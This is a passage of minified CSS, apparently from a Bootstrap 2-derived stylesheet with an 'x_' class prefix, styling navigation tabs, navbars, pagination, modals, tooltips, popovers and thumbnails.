#ddd}.x .x_nav-tabs>.x_active>a,.x .x_nav-tabs>.x_active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.x .x_nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px}.x .x_nav-pills>.x_active>a,.x .x_nav-pills>.x_active>a:hover{color:#fff;background-color:#08c}.x .x_nav-stacked>li{float:none}.x .x_nav-stacked>li>a{margin-right:0}.x .x_nav-tabs.x_nav-stacked{border-bottom:0}.x .x_nav-tabs.x_nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_nav-tabs.x_nav-stacked>li:first-child>a{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-topleft:4px}.x .x_nav-tabs.x_nav-stacked>li:last-child>a{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomright:4px;-moz-border-radius-bottomleft:4px}.x .x_nav-tabs.x_nav-stacked>li>a:hover{z-index:2;border-color:#ddd}.x .x_nav-pills.x_nav-stacked>li>a{margin-bottom:3px}.x .x_nav-pills.x_nav-stacked>li:last-child>a{margin-bottom:1px}.x .x_nav-tabs .x_dropdown-menu{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px}.x .x_nav-pills .x_dropdown-menu{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.x .x_nav .x_dropdown-toggle .x_caret{margin-top:6px;border-top-color:#08c;border-bottom-color:#08c}.x .x_nav .x_dropdown-toggle:hover .x_caret{border-top-color:#005580;border-bottom-color:#005580}.x .x_nav-tabs .x_dropdown-toggle .x_caret{margin-top:8px}.x .x_nav .x_active .x_dropdown-toggle .x_caret{border-top-color:#fff;border-bottom-color:#fff}.x .x_nav-tabs .x_active .x_dropdown-toggle .x_caret{border-top-color:#555;border-bottom-color:#555}.x .x_nav>.x_dropdown.x_active>a:hover{cursor:pointer}.x .x_nav-tabs .x_open .x_dropdown-toggle,.x .x_nav-pills .x_open .x_dropdown-toggle,.x .x_nav>li.x_dropdown.x_open.x_active>a:hover{color:#fff;background-color:#999;border-color:#999}.x .x_nav li.x_dropdown.x_open .x_caret,.x .x_nav li.x_dropdown.x_open.x_active .x_caret,.x .x_nav li.x_dropdown.x_open a:hover .x_caret{border-top-color:#fff;border-bottom-color:#fff;opacity:1;filter:alpha(opacity=100)}.x .x_tabs-stacked .x_open>a:hover{border-color:#999}.x .x_tabbable{*zoom:1;}.x .x_tabbable:before,.x .x_tabbable:after{display:table;line-height:0;content:""}.x .x_tabbable:after{clear:both}.x .x_tab-content{overflow:auto}.x .x_tabs-below>.x_nav-tabs,.x .x_tabs-right>.x_nav-tabs,.x .x_tabs-left>.x_nav-tabs{border-bottom:0}.x .x_tab-content>.x_tab-pane,.x .x_pill-content>.x_pill-pane{display:none}.x .x_tab-content>.x_active,.x .x_pill-content>.x_active{display:block}.x .x_tabs-below>.x_nav-tabs{border-top:1px solid #ddd}.x .x_tabs-below>.x_nav-tabs>li{margin-top:-1px;margin-bottom:0}.x .x_tabs-below>.x_nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px}.x .x_tabs-below>.x_nav-tabs>li>a:hover{border-top-color:#ddd;border-bottom-color:transparent}.x .x_tabs-below>.x_nav-tabs>.x_active>a,.x .x_tabs-below>.x_nav-tabs>.x_active>a:hover{border-color:transparent #ddd #ddd #ddd}.x .x_tabs-left>.x_nav-tabs>li,.x .x_tabs-right>.x_nav-tabs>li{float:none}.x .x_tabs-left>.x_nav-tabs>li>a,.x .x_tabs-right>.x_nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px}.x .x_tabs-left>.x_nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd}.x .x_tabs-left>.x_nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.x .x_tabs-left>.x_nav-tabs>li>a:hover{border-color:#eee #ddd #eee #eee}.x .x_tabs-left>.x_nav-tabs .x_active>a,.x .x_tabs-left>.x_nav-tabs .x_active>a:hover{border-color:#ddd transparent #ddd #ddd;*border-right-color:#fff;}.x .x_tabs-right>.x_nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd}.x .x_tabs-right>.x_nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_tabs-right>.x_nav-tabs>li>a:hover{border-color:#eee #eee #eee #ddd}.x .x_tabs-right>.x_nav-tabs .x_active>a,.x .x_tabs-right>.x_nav-tabs .x_active>a:hover{border-color:#ddd #ddd #ddd transparent;*border-left-color:#fff;}.x .x_nav>.x_disabled>a{color:#999}.x .x_nav>.x_disabled>a:hover{text-decoration:none;cursor:default;background-color:transparent}.x .x_navbar{*position:relative;*z-index:2;margin-bottom:20px;overflow:visible}.x .x_navbar-inner{min-height:40px;padding-right:20px;padding-left:20px;background-color:#fafafa;background-image:-moz-linear-gradient(top,#fff,#f2f2f2);background-image:-webkit-gradient(linear,0 0,0 100%,from(#fff),to(#f2f2f2));background-image:-webkit-linear-gradient(top,#fff,#f2f2f2);background-image:-o-linear-gradient(top,#fff,#f2f2f2);background-image:linear-gradient(to bottom,#fff,#f2f2f2);background-repeat:repeat-x;border:1px solid #d4d4d4;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff',endColorstr='#f2f2f2',GradientType=0);*zoom:1;-webkit-box-shadow:0 1px 4px rgba(0,0,0,.065);-moz-box-shadow:0 1px 4px rgba(0,0,0,.065);box-shadow:0 1px 4px rgba(0,0,0,.065)}.x .x_navbar-inner:before,.x .x_navbar-inner:after{display:table;line-height:0;content:""}.x .x_navbar-inner:after{clear:both}.x .x_navbar .x_container{width:auto}.x .x_nav-collapse.x_collapse{height:auto;overflow:visible}.x .x_navbar .x_brand{display:block;float:left;padding:10px 20px 10px;margin-left:-20px;font-size:20px;font-weight:200;color:#777;text-shadow:0 1px 0 #fff}.x .x_navbar .x_brand:hover{text-decoration:none}.x .x_navbar-text{margin-bottom:0;line-height:40px;color:#777}.x .x_navbar-link{color:#777}.x .x_navbar-link:hover{color:#333}.x .x_navbar .x_divider-vertical{height:40px;margin:0 9px;border-right:1px solid #fff;border-left:1px solid #f2f2f2}.x .x_navbar .x_btn,.x .x_navbar .x_btn-group{margin-top:5px}.x .x_navbar .x_btn-group .x_btn,.x .x_navbar .x_input-prepend .x_btn,.x .x_navbar .x_input-append .x_btn{margin-top:0}.x .x_navbar-form{margin-bottom:0;*zoom:1;}.x .x_navbar-form:before,.x .x_navbar-form:after{display:table;line-height:0;content:""}.x .x_navbar-form:after{clear:both}.x .x_navbar-form input,.x .x_navbar-form select,.x .x_navbar-form .x_radio,.x .x_navbar-form .x_checkbox{margin-top:5px}.x .x_navbar-form input,.x .x_navbar-form select,.x .x_navbar-form .x_btn{display:inline-block;margin-bottom:0}.x .x_navbar-form input[type="image"],.x .x_navbar-form input[type="checkbox"],.x .x_navbar-form input[type="radio"]{margin-top:3px}.x .x_navbar-form .x_input-append,.x .x_navbar-form .x_input-prepend{margin-top:5px;white-space:nowrap}.x .x_navbar-form .x_input-append input,.x .x_navbar-form .x_input-prepend input{margin-top:0}.x .x_navbar-search{position:relative;float:left;margin-top:5px;margin-bottom:0}.x .x_navbar-search .x_search-query{padding:4px 14px;margin-bottom:0;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.x .x_navbar-static-top{position:static;margin-bottom:0}.x .x_navbar-static-top .x_navbar-inner{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_navbar-fixed-top,.x .x_navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030;margin-bottom:0}.x .x_navbar-fixed-top .x_navbar-inner,.x .x_navbar-static-top .x_navbar-inner{border-width:0 0 1px}.x .x_navbar-fixed-bottom .x_navbar-inner{border-width:1px 0 0}.x .x_navbar-fixed-top .x_navbar-inner,.x .x_navbar-fixed-bottom .x_navbar-inner{padding-right:0;padding-left:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_navbar-static-top .x_container,.x .x_navbar-fixed-top .x_container,.x .x_navbar-fixed-bottom .x_container{width:940px}.x .x_navbar-fixed-top{top:0}.x .x_navbar-fixed-top .x_navbar-inner,.x .x_navbar-static-top .x_navbar-inner{-webkit-box-shadow:0 1px 10px rgba(0,0,0,.1);-moz-box-shadow:0 1px 10px rgba(0,0,0,.1);box-shadow:0 1px 10px rgba(0,0,0,.1)}.x .x_navbar-fixed-bottom{bottom:0}.x .x_navbar-fixed-bottom .x_navbar-inner{-webkit-box-shadow:0 -1px 10px rgba(0,0,0,.1);-moz-box-shadow:0 -1px 10px rgba(0,0,0,.1);box-shadow:0 -1px 10px rgba(0,0,0,.1)}.x .x_navbar .x_nav{position:relative;left:0;display:block;float:left;margin:0 10px 0 0}.x .x_navbar .x_nav.x_pull-right{float:right;margin-right:0}.x .x_navbar .x_nav>li{float:left}.x .x_navbar .x_nav>li>a{float:none;padding:10px 15px 10px;color:#777;text-decoration:none;text-shadow:0 1px 0 #fff}.x .x_navbar .x_nav .x_dropdown-toggle .x_caret{margin-top:8px}.x .x_navbar .x_nav>li>a:focus,.x .x_navbar .x_nav>li>a:hover{color:#333;text-decoration:none;background-color:transparent}.x .x_navbar .x_nav>.x_active>a,.x .x_navbar .x_nav>.x_active>a:hover,.x .x_navbar .x_nav>.x_active>a:focus{color:#555;text-decoration:none;background-color:#e5e5e5;-webkit-box-shadow:inset 0 3px 8px rgba(0,0,0,.125);-moz-box-shadow:inset 0 3px 8px rgba(0,0,0,.125);box-shadow:inset 0 3px 8px rgba(0,0,0,.125)}.x .x_navbar .x_btn-navbar{display:none;float:right;padding:7px 10px;margin-right:5px;margin-left:5px;color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#ededed;*background-color:#e5e5e5;background-image:-moz-linear-gradient(top,#f2f2f2,#e5e5e5);background-image:-webkit-gradient(linear,0 0,0 100%,from(#f2f2f2),to(#e5e5e5));background-image:-webkit-linear-gradient(top,#f2f2f2,#e5e5e5);background-image:-o-linear-gradient(top,#f2f2f2,#e5e5e5);background-image:linear-gradient(to bottom,#f2f2f2,#e5e5e5);background-repeat:repeat-x;border-color:#e5e5e5 #e5e5e5 #bfbfbf;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f2f2f2',endColorstr='#e5e5e5',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.075);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.075)}.x .x_navbar .x_btn-navbar:hover,.x .x_navbar .x_btn-navbar:active,.x .x_navbar .x_btn-navbar.x_active,.x .x_navbar .x_btn-navbar.x_disabled,.x .x_navbar .x_btn-navbar[disabled]{color:#fff;background-color:#e5e5e5;*background-color:#d9d9d9;}.x .x_navbar .x_btn-navbar:active,.x .x_navbar .x_btn-navbar.x_active{background-color:#ccc \9}.x .x_navbar .x_btn-navbar .x_icon-bar{display:block;width:18px;height:2px;background-color:#f5f5f5;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 1px 0 rgba(0,0,0,.25);-moz-box-shadow:0 1px 0 rgba(0,0,0,.25);box-shadow:0 1px 0 rgba(0,0,0,.25)}.x .x_btn-navbar .x_icon-bar+.x_icon-bar{margin-top:3px}.x .x_navbar .x_nav>li>.x_dropdown-menu:before{position:absolute;top:-7px;left:9px;display:inline-block;border-right:7px solid transparent;border-bottom:7px solid #ccc;border-left:7px solid transparent;border-bottom-color:rgba(0,0,0,.2);content:''}.x .x_navbar .x_nav>li>.x_dropdown-menu:after{position:absolute;top:-6px;left:10px;display:inline-block;border-right:6px solid transparent;border-bottom:6px solid #fff;border-left:6px solid transparent;content:''}.x .x_navbar-fixed-bottom .x_nav>li>.x_dropdown-menu:before{top:auto;bottom:-7px;border-top:7px solid #ccc;border-bottom:0;border-top-color:rgba(0,0,0,.2)}.x .x_navbar-fixed-bottom .x_nav>li>.x_dropdown-menu:after{top:auto;bottom:-6px;border-top:6px solid #fff;border-bottom:0}.x .x_navbar .x_nav li.x_dropdown>a:hover .x_caret{border-top-color:#555;border-bottom-color:#555}.x .x_navbar .x_nav li.x_dropdown.x_open>.x_dropdown-toggle,.x .x_navbar .x_nav li.x_dropdown.x_active>.x_dropdown-toggle,.x .x_navbar .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle{color:#555;background-color:#e5e5e5}.x .x_navbar .x_nav li.x_dropdown>.x_dropdown-toggle .x_caret{border-top-color:#777;border-bottom-color:#777}.x .x_navbar .x_nav li.x_dropdown.x_open>.x_dropdown-toggle .x_caret,.x .x_navbar .x_nav li.x_dropdown.x_active>.x_dropdown-toggle .x_caret,.x .x_navbar .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle .x_caret{border-top-color:#555;border-bottom-color:#555}.x .x_navbar .x_pull-right>li>.x_dropdown-menu,.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right{right:0;left:auto}.x .x_navbar .x_pull-right>li>.x_dropdown-menu:before,.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right:before{right:12px;left:auto}.x .x_navbar .x_pull-right>li>.x_dropdown-menu:after,.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right:after{right:13px;left:auto}.x .x_navbar .x_pull-right>li>.x_dropdown-menu .x_dropdown-menu,.x .x_navbar .x_nav>li>.x_dropdown-menu.x_pull-right .x_dropdown-menu{right:100%;left:auto;margin-right:-1px;margin-left:0;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px}.x .x_navbar-inverse .x_navbar-inner{background-color:#1b1b1b;background-image:-moz-linear-gradient(top,#222,#111);background-image:-webkit-gradient(linear,0 0,0 100%,from(#222),to(#111));background-image:-webkit-linear-gradient(top,#222,#111);background-image:-o-linear-gradient(top,#222,#111);background-image:linear-gradient(to bottom,#222,#111);background-repeat:repeat-x;border-color:#252525;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#222222',endColorstr='#111111',GradientType=0)}.x .x_navbar-inverse .x_brand,.x .x_navbar-inverse .x_nav>li>a{color:#999;text-shadow:0 -1px 0 rgba(0,0,0,.25)}.x .x_navbar-inverse .x_brand:hover,.x .x_navbar-inverse .x_nav>li>a:hover{color:#fff}.x .x_navbar-inverse .x_brand{color:#999}.x .x_navbar-inverse .x_navbar-text{color:#999}.x .x_navbar-inverse .x_nav>li>a:focus,.x .x_navbar-inverse .x_nav>li>a:hover{color:#fff;background-color:transparent}.x .x_navbar-inverse .x_nav .x_active>a,.x .x_navbar-inverse .x_nav .x_active>a:hover,.x .x_navbar-inverse .x_nav .x_active>a:focus{color:#fff;background-color:#111}.x .x_navbar-inverse .x_navbar-link{color:#999}.x .x_navbar-inverse .x_navbar-link:hover{color:#fff}.x .x_navbar-inverse .x_divider-vertical{border-right-color:#222;border-left-color:#111}.x .x_navbar-inverse .x_nav li.x_dropdown.x_open>.x_dropdown-toggle,.x .x_navbar-inverse .x_nav li.x_dropdown.x_active>.x_dropdown-toggle,.x .x_navbar-inverse .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle{color:#fff;background-color:#111}.x .x_navbar-inverse .x_nav li.x_dropdown>a:hover .x_caret{border-top-color:#fff;border-bottom-color:#fff}.x .x_navbar-inverse .x_nav li.x_dropdown>.x_dropdown-toggle .x_caret{border-top-color:#999;border-bottom-color:#999}.x .x_navbar-inverse .x_nav li.x_dropdown.x_open>.x_dropdown-toggle .x_caret,.x .x_navbar-inverse .x_nav li.x_dropdown.x_active>.x_dropdown-toggle .x_caret,.x .x_navbar-inverse .x_nav li.x_dropdown.x_open.x_active>.x_dropdown-toggle .x_caret{border-top-color:#fff;border-bottom-color:#fff}.x .x_navbar-inverse .x_navbar-search .x_search-query{color:#fff;background-color:#515151;border-color:#111;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1),0 1px 0 rgba(255,255,255,.15);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.1),0 1px 0 rgba(255,255,255,.15);box-shadow:inset 0 1px 2px rgba(0,0,0,.1),0 1px 0 rgba(255,255,255,.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;transition:none}.x .x_navbar-inverse .x_navbar-search .x_search-query:-moz-placeholder{color:#ccc}.x .x_navbar-inverse .x_navbar-search .x_search-query:-ms-input-placeholder{color:#ccc}.x .x_navbar-inverse .x_navbar-search .x_search-query::-webkit-input-placeholder{color:#ccc}.x .x_navbar-inverse .x_navbar-search .x_search-query:focus,.x .x_navbar-inverse .x_navbar-search .x_search-query.x_focused{padding:5px 15px;color:#333;text-shadow:0 1px 0 #fff;background-color:#fff;border:0;outline:0;-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);-moz-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.x .x_navbar-inverse .x_btn-navbar{color:#fff;text-shadow:0 -1px 0 rgba(0,0,0,.25);background-color:#0e0e0e;*background-color:#040404;background-image:-moz-linear-gradient(top,#151515,#040404);background-image:-webkit-gradient(linear,0 0,0 100%,from(#151515),to(#040404));background-image:-webkit-linear-gradient(top,#151515,#040404);background-image:-o-linear-gradient(top,#151515,#040404);background-image:linear-gradient(to bottom,#151515,#040404);background-repeat:repeat-x;border-color:#040404 #040404 #000;border-color:rgba(0,0,0,.1) rgba(0,0,0,.1) rgba(0,0,0,.25);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#151515',endColorstr='#040404',GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false)}.x .x_navbar-inverse .x_btn-navbar:hover,.x .x_navbar-inverse .x_btn-navbar:active,.x .x_navbar-inverse .x_btn-navbar.x_active,.x .x_navbar-inverse .x_btn-navbar.x_disabled,.x .x_navbar-inverse .x_btn-navbar[disabled]{color:#fff;background-color:#040404;*background-color:#000;}.x .x_navbar-inverse .x_btn-navbar:active,.x .x_navbar-inverse .x_btn-navbar.x_active{background-color:#000 \9}.x .x_breadcrumb{padding:8px 15px;margin:0 0 20px;list-style:none;background-color:#f5f5f5;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_breadcrumb>li{display:inline-block;*display:inline;text-shadow:0 1px 0 #fff;*zoom:1;}.x .x_breadcrumb>li>.x_divider{padding:0 5px;color:#ccc}.x .x_breadcrumb>.x_active{color:#999}.x .x_pagination{margin:20px 0}.x .x_pagination ul{display:inline-block;*display:inline;margin-bottom:0;margin-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;*zoom:1;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:0 1px 2px rgba(0,0,0,.05);box-shadow:0 1px 2px rgba(0,0,0,.05)}.x .x_pagination ul>li{display:inline}.x .x_pagination ul>li>a,.x .x_pagination ul>li>span{float:left;padding:4px 12px;line-height:20px;text-decoration:none;background-color:#fff;border:1px solid #ddd;border-left-width:0}.x .x_pagination ul>li>a:hover,.x .x_pagination ul>.x_active>a,.x .x_pagination ul>.x_active>span{background-color:#f5f5f5}.x .x_pagination ul>.x_active>a,.x .x_pagination ul>.x_active>span{color:#999;cursor:default}.x .x_pagination ul>.x_disabled>span,.x .x_pagination ul>.x_disabled>a,.x .x_pagination ul>.x_disabled>a:hover{color:#999;cursor:default;background-color:transparent}.x .x_pagination ul>li:first-child>a,.x .x_pagination ul>li:first-child>span{border-left-width:1px;-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-bottomleft:4px;-moz-border-radius-topleft:4px}.x .x_pagination ul>li:last-child>a,.x .x_pagination ul>li:last-child>span{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-topright:4px;-moz-border-radius-bottomright:4px}.x .x_pagination-centered{text-align:center}.x .x_pagination-right{text-align:right}.x .x_pagination-large ul>li>a,.x .x_pagination-large ul>li>span{padding:11px 19px;font-size:17.5px}.x .x_pagination-large ul>li:first-child>a,.x .x_pagination-large ul>li:first-child>span{-webkit-border-bottom-left-radius:6px;border-bottom-left-radius:6px;-webkit-border-top-left-radius:6px;border-top-left-radius:6px;-moz-border-radius-bottomleft:6px;-moz-border-radius-topleft:6px}.x .x_pagination-large ul>li:last-child>a,.x .x_pagination-large ul>li:last-child>span{-webkit-border-top-right-radius:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;border-bottom-right-radius:6px;-moz-border-radius-topright:6px;-moz-border-radius-bottomright:6px}.x .x_pagination-mini ul>li:first-child>a,.x .x_pagination-small ul>li:first-child>a,.x .x_pagination-mini ul>li:first-child>span,.x .x_pagination-small ul>li:first-child>span{-webkit-border-bottom-left-radius:3px;border-bottom-left-radius:3px;-webkit-border-top-left-radius:3px;border-top-left-radius:3px;-moz-border-radius-bottomleft:3px;-moz-border-radius-topleft:3px}.x .x_pagination-mini ul>li:last-child>a,.x .x_pagination-small ul>li:last-child>a,.x .x_pagination-mini ul>li:last-child>span,.x .x_pagination-small ul>li:last-child>span{-webkit-border-top-right-radius:3px;border-top-right-radius:3px;-webkit-border-bottom-right-radius:3px;border-bottom-right-radius:3px;-moz-border-radius-topright:3px;-moz-border-radius-bottomright:3px}.x .x_pagination-small ul>li>a,.x .x_pagination-small ul>li>span{padding:2px 10px;font-size:11.9px}.x .x_pagination-mini ul>li>a,.x .x_pagination-mini ul>li>span{padding:0 6px;font-size:10.5px}.x .x_pager{margin:20px 0;text-align:center;list-style:none;*zoom:1;}.x .x_pager:before,.x .x_pager:after{display:table;line-height:0;content:""}.x .x_pager:after{clear:both}.x .x_pager li{display:inline}.x .x_pager li>a,.x .x_pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.x .x_pager li>a:hover{text-decoration:none;background-color:#f5f5f5}.x .x_pager .x_next>a,.x .x_pager .x_next>span{float:right}.x .x_pager .x_previous>a,.x .x_pager .x_previous>span{float:left}.x .x_pager .x_disabled>a,.x .x_pager .x_disabled>a:hover,.x .x_pager .x_disabled>span{color:#999;cursor:default;background-color:#fff}.x_modal-backdrop{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1040;background-color:#000}.x_modal-backdrop.x_fade{opacity:0}.x_modal-backdrop,.x_modal-backdrop.x_fade.x_in{opacity:.8;filter:alpha(opacity=80)}.x_modal{position:fixed;top:10%;left:50%;z-index:1050;width:560px;margin-left:-280px;background-color:#fff;border:1px solid #999;border:1px solid rgba(0,0,0,.3);*border:1px solid #999;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;outline:0;-webkit-box-shadow:0 3px 7px rgba(0,0,0,.3);-moz-box-shadow:0 3px 7px rgba(0,0,0,.3);box-shadow:0 3px 7px rgba(0,0,0,.3);-webkit-background-clip:padding-box;-moz-background-clip:padding-box;background-clip:padding-box}.x_modal.x_fade{top:-25%;-webkit-transition:opacity .3s linear,top .3s ease-out;-moz-transition:opacity .3s linear,top .3s ease-out;-o-transition:opacity .3s linear,top .3s ease-out;transition:opacity .3s linear,top .3s ease-out}.x_modal.x_fade.x_in{top:10%}.x .x_modal-header{padding:9px 15px;border-bottom:1px solid #eee}.x .x_modal-header .x_close{margin-top:2px}.x .x_modal-header h3{margin:0;line-height:30px}.x .x_modal-body{position:relative;max-height:400px;padding:15px;overflow-y:auto}.x .x_modal-form{margin-bottom:0}.x .x_modal-footer{padding:14px 15px 15px;margin-bottom:0;text-align:right;background-color:#f5f5f5;border-top:1px solid #ddd;-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;*zoom:1;-webkit-box-shadow:inset 0 1px 0 #fff;-moz-box-shadow:inset 0 1px 0 #fff;box-shadow:inset 0 1px 0 #fff}.x .x_modal-footer:before,.x .x_modal-footer:after{display:table;line-height:0;content:""}.x .x_modal-footer:after{clear:both}.x .x_modal-footer .x_btn+.x_btn{margin-bottom:0;margin-left:5px}.x .x_modal-footer .x_btn-group .x_btn+.x_btn{margin-left:-1px}.x .x_modal-footer .x_btn-block+.x_btn-block{margin-left:0}.x .x_tooltip{position:absolute;z-index:1030;display:block;padding:5px;font-size:11px;opacity:0;filter:alpha(opacity=0);visibility:visible}.x .x_tooltip.x_in{opacity:.8;filter:alpha(opacity=80)}.x .x_tooltip.x_top{margin-top:-3px}.x .x_tooltip.x_right{margin-left:3px}.x .x_tooltip.x_bottom{margin-top:3px}.x .x_tooltip.x_left{margin-left:-3px}.x .x_tooltip-inner{max-width:200px;padding:3px 8px;color:#fff;text-align:center;text-decoration:none;background-color:#000;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.x .x_tooltip.x_top .x_tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-color:#000;border-width:5px 5px 0}.x .x_tooltip.x_right .x_tooltip-arrow{top:50%;left:0;margin-top:-5px;border-right-color:#000;border-width:5px 5px 5px 0}.x .x_tooltip.x_left .x_tooltip-arrow{top:50%;right:0;margin-top:-5px;border-left-color:#000;border-width:5px 0 5px 5px}.x .x_tooltip.x_bottom .x_tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-color:#000;border-width:0 5px 5px}.x .x_popover{position:absolute;top:0;left:0;z-index:1010;display:none;width:236px;padding:1px;text-align:left;white-space:normal;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-box-shadow:0 5px 10px rgba(0,0,0,.2);-moz-box-shadow:0 5px 10px rgba(0,0,0,.2);box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-background-clip:padding-box;-moz-background-clip:padding;background-clip:padding-box}.x .x_popover.x_top{margin-top:-10px}.x .x_popover.x_right{margin-left:10px}.x .x_popover.x_bottom{margin-top:10px}.x .x_popover.x_left{margin-left:-10px}.x .x_popover-title{padding:8px 14px;margin:0;font-size:14px;font-weight:normal;line-height:18px;background-color:#f7f7f7;border-bottom:1px solid #ebebeb;-webkit-border-radius:5px 5px 0 0;-moz-border-radius:5px 5px 0 0;border-radius:5px 5px 0 0}.x .x_popover-content{padding:9px 14px}.x .x_popover .x_arrow,.x .x_popover .x_arrow:after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid}.x .x_popover .x_arrow{border-width:11px}.x .x_popover .x_arrow:after{border-width:10px;content:""}.x .x_popover.x_top .x_arrow{bottom:-11px;left:50%;margin-left:-11px;border-top-color:#999;border-top-color:rgba(0,0,0,.25);border-bottom-width:0}.x .x_popover.x_top .x_arrow:after{bottom:1px;margin-left:-10px;border-top-color:#fff;border-bottom-width:0}.x .x_popover.x_right .x_arrow{top:50%;left:-11px;margin-top:-11px;border-right-color:#999;border-right-color:rgba(0,0,0,.25);border-left-width:0}.x .x_popover.x_right .x_arrow:after{bottom:-10px;left:1px;border-right-color:#fff;border-left-width:0}.x .x_popover.x_bottom .x_arrow{top:-11px;left:50%;margin-left:-11px;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,.25);border-top-width:0}.x .x_popover.x_bottom .x_arrow:after{top:1px;margin-left:-10px;border-bottom-color:#fff;border-top-width:0}.x .x_popover.x_left .x_arrow{top:50%;right:-11px;margin-top:-11px;border-left-color:#999;border-left-color:rgba(0,0,0,.25);border-right-width:0}.x .x_popover.x_left .x_arrow:after{right:1px;bottom:-10px;border-left-color:#fff;border-right-width:0}.x .x_thumbnails{margin-left:-20px;list-style:none;*zoom:1;}.x .x_thumbnails:before,.x .x_thumbnails:after{display:table;line-height:0;content:""}.x .x_thumbnails:after{clear:both}.x .x_row-fluid .x_thumbnails{margin-left:0}.x .x_thumbnails>li{float:left;margin-bottom:20px;margin-left:20px}.x .x_thumbnail{display:block;padding:4px;line-height:20px;border:1px solid #ddd;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.055);-moz-box-shadow:0 1px 3px rgba(0,0,0,.055);box-shadow:0 1px 3px rgba(0,0,0,.055);-webkit-transition:all .2s ease-in-out;-moz-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.x a.x_thumbnail:hover{border-color:#08c;-webkit-box-shadow:0 1px 4px rgba(0,105,214,.25);-moz-box-shadow:0 1px 4px rgba(0,105,214,.25);box-shadow:0 1px 4px rgba(0,105,214,.25)}.x .x_thumbnail>img{display:block;max-width:100%;margin-right:auto;margin-left:auto}.x .x_thumbnail 